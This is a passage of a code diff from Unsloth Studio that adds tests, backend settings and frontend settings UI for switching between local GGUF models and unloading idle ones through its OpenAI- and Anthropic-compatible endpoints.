test_chat_oversized_audio_rejected_before_switch(monkeypatch): + # Codex P2: the audio size cap is a cheap, target-independent length check, so an + # oversized upload must 413 before the switch rather than loading a GGUF first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 413 + assert rec.calls == [] + + +def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): + # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream + # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before + # the switch. The old guard only checked explicit tool fields and missed it. + import state.tool_policy as _tp + from fastapi import HTTPException + + monkeypatch.setattr(_tp, "get_tool_policy", lambda: None) # no CLI --disable-tools + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_require_vision_rejects_text_target_before_switch(monkeypatch): + # Codex P2: an image request naming a different text-only GGUF must 400 before + # the swap, so the resident vision model is not evicted for a rejected request. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the load + + +def test_require_vision_allows_vision_target(monkeypatch): + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 # vision target still switches + + +def test_require_vision_ignores_reload_stash(monkeypatch): + # The reload-stash path restores the model the request was already using; the + # modality check applies only to an explicit resolver target, not a restore. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + inference_route, "_target_is_vision", lambda _p: False + ) # would reject if used + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision + + +def test_chat_validates_confirm_and_modality_before_switch(): + # Lock the order at the source: confirm-shape rejection precedes the hook, and + # the hook rejects a non-vision target before the load. + import inspect + + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("confirm_tool_calls requires stream=true") < src.index( + "_maybe_auto_switch_model" + ) + assert "require_vision" in src + hook = inspect.getsource(inference_route._maybe_auto_switch_model) + assert hook.index("require_vision") < hook.index("_load_model_impl") + assert "does not support the image or audio input" in hook + + +def test_messages_have_image_helper(): + from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + + f = inference_route._messages_have_image + text_only = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), + ] + assert f(text_only) is False + img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + assert f([ChatMessage(role = "user", content = [img])]) is True + + +def test_anthropic_request_has_image_helper(): + from types import SimpleNamespace + + f = inference_route._anthropic_request_has_image + text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")]) + assert f(text) is False + text_block = SimpleNamespace( + messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])] + ) + assert f(text_block) is False + dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) + assert f(dict_img) is True + typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + assert f(typed_img) is True + + +def test_responses_and_anthropic_wire_require_vision_from_images(): + # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an + # image request can't evict a vision model for a text-only target. Lock the wiring + # at the source: each hook derives require_vision from the request's images. + import inspect + + responses_src = inspect.getsource(inference_route.openai_responses) + assert "require_vision = _messages_have_image(" in responses_src + anthropic_src = inspect.getsource(inference_route.anthropic_messages) + assert "require_vision = _anthropic_request_has_image(" in anthropic_src + # /messages/count_tokens shares the /messages translation, so it needs the same + # guard: an image count must not evict a vision model for a text-only target. + count_src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "require_vision = _anthropic_request_has_image(" in count_src + + +# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ── + + +def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): + # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the + # switch, like /messages, so a count request can't evict the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch): + # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must + # carry the same require_vision guard as /messages, so it can't evict a loaded + # vision model for a swap that can't serve the request. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _anthropic_payload_with_tools(None) # no tools -> tool validation passes + with pytest.raises(_Reached): + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_audio_generate_is_reload_only(monkeypatch): + # Codex P2: /audio/generate must not switch to a client-named GGUF. A local + # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal + # can't tell an audio projector from a vision one), so resolving the client model + # could evict the working audio model for a target that then fails the audio + # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel. + from models.inference import ChatCompletionRequest + + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["model"] = model + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = ChatCompletionRequest( + model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert captured["model"] == inference_route._RELOAD_ONLY_MODEL + + +def test_note_model_unloaded_clears_reload_stash(monkeypatch): + # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1 + # request can't resurrect the just-unloaded model. (The idle loop unloads via the + # backend directly, so clearing on the route never fights keep-warm.) + import core.inference.llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_unloaded() + assert kw.get_last_unloaded_model() is None + + +def test_unload_route_clears_reload_stash(monkeypatch): + # The /unload route must clear the stash on both the GGUF and non-GGUF branches. + import inspect + src = inspect.getsource(inference_route.unload_model) + assert src.count("note_model_unloaded()") >= 2 + + +def test_non_gguf_load_clears_reload_stash(): + # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF + # branch, so it never lingers until the idle poll (or forever, idle-unload off). + import inspect + src = inspect.getsource(inference_route._load_model_impl) + assert src.count("note_model_loaded()") >= 2 + + +def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): + # Codex P2: a forcing object with no function name must 400 before the switch. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_valid_tool_choice_reaches_hook(monkeypatch): + # A well-formed forcing object must pass the pre-check and reach the hook. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_lifecycle_gate_serializes_across_loops(): + # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks + # inference starting on another. Two loops must never hold the gate at once. + import threading + from core.inference import llama_keepwarm as kw + + state = {"cur": 0, "max": 0} + slock = threading.Lock() + + async def _use(): + async with kw._unload_gate(): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.05) + with slock: + state["cur"] -= 1 + + barrier = threading.Barrier(2) + + def _run(): + barrier.wait() + asyncio.run(_use()) + + threads = [threading.Thread(target = _run) for _ in range(2)] + for t in threads: + t.start() + for t in threads: + t.join() + assert state["max"] == 1 # never held on two loops at once + + +def test_auto_switch_serializes_across_event_loops(monkeypatch): + # Codex P2: the per-loop asyncio lock can't serialize two swaps on different + # event loops in one process. The process-wide gate must, so the two slow loads + # never overlap on the single model slot. + import threading + + backend = _FakeBackend("org/A-GGUF") + state = {"cur": 0, "max": 0} + loaded: list = [] + slock = threading.Lock() + + async def _slow_load( + request, + fastapi_request, + current_subject = None, + ): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.1) # widen the window so an unguarded race would overlap + with slock: + state["cur"] -= 1 + loaded.append(request.model_path) + backend.model_identifier = request.model_path + backend.is_loaded = True + backend._openai_advertised_id = None + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m)) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + barrier = threading.Barrier(2) + + def _run(model): + barrier.wait() # release both threads together so they truly race + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t")) + + threads = [ + threading.Thread(target = _run, args = ("org/B-GGUF",)), + threading.Thread(target = _run, args = ("org/C-GGUF",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert state["max"] == 1 # the gate serialized the two cross-loop swaps + assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"] # both still swapped + + +def test_acquire_swap_gate_is_cancellation_safe(): + # A waiter cancelled while waiting for the gate (client disconnect mid-swap) + # must not leak it: after the holder releases, a fresh acquire still succeeds. + # The to_thread(acquire) approach would leak here -- its worker thread keeps + # acquiring after cancel, so the gate is taken but never released. + async def main(): + await inference_route._acquire_swap_gate() # this loop holds the gate + try: + + async def waiter(): + await inference_route._acquire_swap_gate() + + t = asyncio.create_task(waiter()) + await asyncio.sleep(0.05) # let it spin waiting on the held gate + t.cancel() + with pytest.raises(asyncio.CancelledError): + await t + finally: + inference_route._auto_switch_process_lock.release() + # Gate is free again (the cancelled waiter never acquired it). + await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1) + inference_route._auto_switch_process_lock.release() + + asyncio.run(asyncio.wait_for(main(), timeout = 5)) diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py index f9baf20a66..552f122ebb 100644 --- a/studio/backend/tests/test_openai_catalog.py +++ b/studio/backend/tests/test_openai_catalog.py @@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path: sys.path.insert(0, str(_BACKEND)) import routes.inference as inf # noqa: E402 +from core.inference import local_model_resolver as resolver # noqa: E402 class _Info: @@ -21,10 +22,12 @@ class _Info: id, display_name, model_id = None, + is_gguf = True, ): self.id = id self.display_name = display_name self.model_id = model_id + self.is_gguf = is_gguf # drives the files-based GGUF check in the test class _FakeLlama: @@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch): return [ _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded - _Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id + # HF-cache GGUF: model_format is unset for these, so a files-based check + # (not model_format) must still list it. + _Info("models--org--Foo", "Foo", model_id = "org/Foo"), + # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised. + _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False), ] monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog) + # GGUF-ness is read from the on-disk files; drive it off each info's flag here. + monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf) data = asyncio.run(inf._openai_catalog_objects()) ids = {m["id"]: m for m in data} @@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch): # Loaded model is present, marked loaded, and keeps context fields. assert ids["Qwen3-Q4"]["loaded"] is True assert ids["Qwen3-Q4"]["context_length"] == 4096 - # Available-but-not-loaded models are listed too. + # Available-but-not-loaded GGUF models are listed too. assert ids["Llama-8B-Q8"]["loaded"] is False + # The HF-cache GGUF is listed despite model_format being unset. assert ids["org/Foo"]["loaded"] is False + # The non-GGUF model is filtered out (/v1 can never serve it). + assert "Mistral-7B" not in ids # The loaded gguf and the on-disk copy collapse to one clean id. assert [m["id"] for m in data].count("Qwen3-Q4") == 1 # No absolute paths or .gguf suffixes leak anywhere. @@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch): assert "/data/" not in blob +def test_catalog_lock_is_per_loop(): + # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first + # awaited it, so a second event loop awaiting it in a multi-loop process can + # hang. The catalog lock must be per-loop (distinct lock per running loop), and + # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced. + async def _get(): + return inf._catalog_lock() + + a = asyncio.run(_get()) + b = asyncio.run(_get()) # a fresh event loop + assert a is not b + assert not hasattr(inf, "_CATALOG_LOCK") + + def test_empty_and_errored_scans_are_cached(monkeypatch): # Cache validity is keyed on the timestamp, not list contents, so an empty # (fresh install / no local models) or errored scan is still cached for the diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py new file mode 100644 index 0000000000..1689395f40 --- /dev/null +++ b/studio/backend/utils/openai_auto_switch_settings.py @@ -0,0 +1,180 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted opt-in controls for OpenAI-compatible model auto-switching. + +Two settings, both off by default so existing API behavior is unchanged: +- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model`` + names a downloaded local GGUF different from the loaded one transparently + loads it before serving (llama-swap-style). Unknown names pass through. +- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is + unloaded after this many idle seconds to free VRAM. + +The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env +var. Unlike the stored setting (which stays gated on auto-switch), the env value +is a standalone default that enables idle-unload even with auto-switch off, for +headless/container deploys; an explicit UI/API value still overrides it. + +Reads are cached for a short window because these are consulted on the +per-request hot path; writes invalidate the cache. +""" + +from __future__ import annotations + +import os +import threading +import time +from typing import Any, Optional + +OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model" +AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds" +MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides" +MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL" + +DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False +DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0 + +_CACHE_TTL_S = 2.0 +_cache_lock = threading.Lock() +_cache: dict[str, tuple[float, Any]] = {} + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def _coerce_int(value: Any) -> int | None: + try: + return max(0, int(value)) + except (TypeError, ValueError): + return None + + +def _cached_setting(key: str, default: Any) -> Any: + """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path.""" + now = time.monotonic() + with _cache_lock: + hit = _cache.get(key) + if hit is not None and now - hit[0] < _CACHE_TTL_S: + return hit[1] + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(key, None) + except Exception: + stored = None + value = default if stored is None else stored + with _cache_lock: + _cache[key] = (now, value) + return value + + +def _invalidate(key: str) -> None: + with _cache_lock: + _cache.pop(key, None) + + +def get_openai_auto_switch_enabled() -> bool: + parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None)) + return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + + +def _stored_idle_seconds() -> Optional[int]: + """The persisted idle TTL as an int, or None when never set.""" + return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None)) + + +def _env_idle_seconds() -> Optional[int]: + """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.""" + raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR) + if raw is None or not raw.strip(): + return None + return _coerce_int(raw) + + +def get_stored_auto_unload_idle_seconds() -> int: + """The persisted idle-unload TTL, independent of whether auto-switch is on. + + The settings UI reads this so it can display and round-trip the saved value; + toggling auto-switch off must not erase it. Falls back to the env override so + the UI shows the startup default. The idle loop uses the gated reader below. + """ + stored = _stored_idle_seconds() + if stored is not None: + return stored + env = _env_idle_seconds() + return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS + + +def get_auto_unload_idle_seconds() -> int: + """Effective idle TTL the idle loop runs on (0 = never unload).""" + stored = _stored_idle_seconds() + if stored is not None: + # An explicit UI/API value stays gated on auto-switch: off reports 0 so the + # off state is identical to pre-feature. + return stored if get_openai_auto_switch_enabled() else 0 + # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that + # enables idle-unload even with auto-switch off (headless/container deploys). + env = _env_idle_seconds() + return env if env is not None else 0 + + +def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]: + """Set both auto-switch flags in one transaction so a settings PUT can't leave + one key updated and the other stale. Both values are coerced before any write, + so an invalid value raises without persisting either.""" + parsed_enabled = _coerce_bool(enabled) + if parsed_enabled is None: + raise ValueError("OpenAI auto-switch must be true or false.") + parsed_idle = _coerce_int(idle_seconds) + if parsed_idle is None: + raise ValueError("Auto-unload idle seconds must be a non-negative integer.") + from storage.studio_db import upsert_app_settings + + upsert_app_settings( + {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle} + ) + _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY) + _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY) + return parsed_enabled, parsed_idle + + +def get_model_overrides() -> dict[str, dict]: + """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length}).""" + raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None) + return raw if isinstance(raw, dict) else {} + + +def get_model_override(model_id: str) -> dict: + """The launch override applied when auto-switch loads ``model_id`` (or empty).""" + override = get_model_overrides().get(model_id) + return override if isinstance(override, dict) else {} + + +def set_model_override( + model_id: str, + llama_extra_args: Optional[list[str]] = None, + max_seq_length: Optional[int] = None, +) -> dict: + """Upsert one model's launch override; an override with no fields removes it.""" + if not model_id or not model_id.strip(): + raise ValueError("model_id is required.") + entry: dict[str, Any] = {} + if llama_extra_args: + entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args] + if max_seq_length: + entry["max_seq_length"] = max(0, int(max_seq_length)) + + from storage.studio_db import upsert_app_setting_map_entry + + # Atomic per-entry merge so two PUTs for different models can't drop each other. + upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None) + _invalidate(MODEL_OVERRIDES_SETTING_KEY) + return entry diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts new file mode 100644 index 0000000000..80ffc084d0 --- /dev/null +++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type OpenAIAutoSwitchSettings = { + enabled: boolean; + autoUnloadIdleSeconds: number; + defaultEnabled: boolean; + // True when the idle-unload loop will actually unload (e.g. enabled via the + // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off). + idleUnloadActive: boolean; +}; + +type ApiOpenAIAutoSwitchSettings = { + enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: number; + // biome-ignore lint/style/useNamingConvention: API schema + default_enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + idle_unload_active?: boolean; +}; + +let cachedSettings: OpenAIAutoSwitchSettings | null = null; +let inFlightSettings: Promise | null = null; + +function fromApi( + settings: ApiOpenAIAutoSwitchSettings, +): OpenAIAutoSwitchSettings { + return { + enabled: settings.enabled, + autoUnloadIdleSeconds: settings.auto_unload_idle_seconds, + defaultEnabled: settings.default_enabled, + idleUnloadActive: settings.idle_unload_active ?? false, + }; +} + +async function fetchOpenAIAutoSwitchSettings(): Promise { + const res = await authFetch("/api/settings/openai-auto-switch"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load model auto-switch settings"), + ); + } + return fromApi(await res.json()); +} + +function cacheSettings(settings: OpenAIAutoSwitchSettings) { + cachedSettings = settings; + return settings; +} + +export async function loadOpenAIAutoSwitchSettings() { + if (cachedSettings) { + return cachedSettings; + } + inFlightSettings ??= fetchOpenAIAutoSwitchSettings() + .then(cacheSettings) + .finally(() => { + inFlightSettings = null; + }); + return inFlightSettings; +} + +export async function updateOpenAIAutoSwitchSettings( + enabled: boolean, + autoUnloadIdleSeconds: number, +): Promise { + const res = await authFetch("/api/settings/openai-auto-switch", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + enabled, + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: autoUnloadIdleSeconds, + }), + }); + if (!res.ok) { + throw new Error( + await readFastApiError( + res, + "Failed to update model auto-switch settings", + ), + ); + } + return cacheSettings(fromApi(await res.json())); +} diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx new file mode 100644 index 0000000000..581c78ebd1 --- /dev/null +++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; +import { useT } from "@/i18n"; +import { useEffect, useState } from "react"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; +import { SettingsRow } from "./settings-row"; +import { SettingsSection } from "./settings-section"; + +export function ModelAutoSwitchSection() { + const t = useT(); + const [settings, setSettings] = useState( + null, + ); + const [draftIdleSeconds, setDraftIdleSeconds] = useState("0"); + const [error, setError] = useState(null); + const [isSaving, setIsSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((loaded) => { + if (cancelled) return; + setSettings(loaded); + setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds)); + setError(null); + }) + .catch((loadError) => { + if (cancelled) return; + setError( + loadError instanceof Error + ? loadError.message + : t("settings.general.modelAutoSwitch.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + + // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null. + const parseIdleSeconds = (): number | null => { + if (!draftIdleSeconds.trim()) { + return null; + } + const parsed = Number(draftIdleSeconds); + return Number.isInteger(parsed) && parsed >= 0 ? parsed : null; + }; + + const persist = async ( + enabled: boolean, + idleSeconds: number, + syncDraft = true, + ) => { + setIsSaving(true); + setError(null); + try { + const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds); + setSettings(saved); + if (syncDraft) { + setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds)); + } + } catch (saveError) { + setError( + saveError instanceof Error + ? saveError.message + : t("settings.general.modelAutoSwitch.saveError"), + ); + } finally { + setIsSaving(false); + } + }; + + // Idle-unload is tied to auto-switch (the freed model reloads via the swap). + // Toggling off preserves the saved seconds rather than zeroing them — the + // backend gates unloading on the enabled flag, so it never unloads while off. + // Enabling commits the drafted value, falling back to the last saved one so + // it can never get stuck. + const handleToggle = (enabled: boolean) => { + const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0; + if (!enabled) { + void persist(false, savedIdleSeconds, false); + return; + } + void persist(true, parseIdleSeconds() ?? savedIdleSeconds); + }; + + const handleSaveIdle = () => { + const idleSeconds = parseIdleSeconds(); + if (idleSeconds === null) { + setError(t("settings.general.modelAutoSwitch.idleError")); + return; + } + void persist(true, idleSeconds); + }; + + return ( + + + + + +
+
+
+ setDraftIdleSeconds(event.target.value)} + className="h-8 w-full pr-8" + /> + + s + +
+ +
+ {error ? ( + + {error} + + ) : settings && !settings.enabled && settings.idleUnloadActive ? ( + + {t("settings.general.modelAutoSwitch.idleActiveViaEnv")} + + ) : settings && !settings.enabled ? ( + + {t("settings.general.modelAutoSwitch.idleNeedsEnable")} + + ) : null} +
+ + + ); +} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index 4085aa2ab0..aef2e7ffe6 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -27,6 +27,11 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useMemo, useState } from "react"; import { Streamdown } from "streamdown"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; // API call type; OS axis applies to curl only (Python is OS-identical). type ExampleType = @@ -68,6 +73,13 @@ const OS_AWARE: Record = { const CURL_TYPES = new Set(["curl", "curlTools", "curlAdvanced"]); const PROMPT = "Can Unsloth Studio do API calling?"; +// Auto-switch demo: a second call naming a different downloaded GGUF so the +// example shows that the model field selects which model serves. +// A placeholder the user replaces with one of their downloaded GGUFs. A fixed +// repo is usually not one they have, so the resolver would fall through and the +// demo would keep serving the current model instead of switching. +const SWITCH_MODEL = "your-other-downloaded-GGUF"; +const SWITCH_PROMPT = "Now answer as a different model."; // web_search + python + terminal are the reliable built-in tools. const TOOLS = ["web_search", "python", "terminal"]; // Sampling/thinking knobs for the "+ advanced" examples. @@ -163,13 +175,19 @@ function winBody(model: string, variant: Variant): string { return JSON.stringify(body); } +// A leading comment (valid in both bash and PowerShell) noting the model field +// selects the served model when auto-switch is on. +const SWITCH_NOTE = + '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n'; + function curlUnix( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `curl ${base}/v1/chat/completions \\ + return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\ -H "Authorization: Bearer ${key}" \\ -H "Content-Type: application/json" \\ -d '${shSingle(curlBodyPretty(model, variant))}'`; @@ -181,8 +199,9 @@ function curlWindows( key: string, model: string, variant: Variant, + 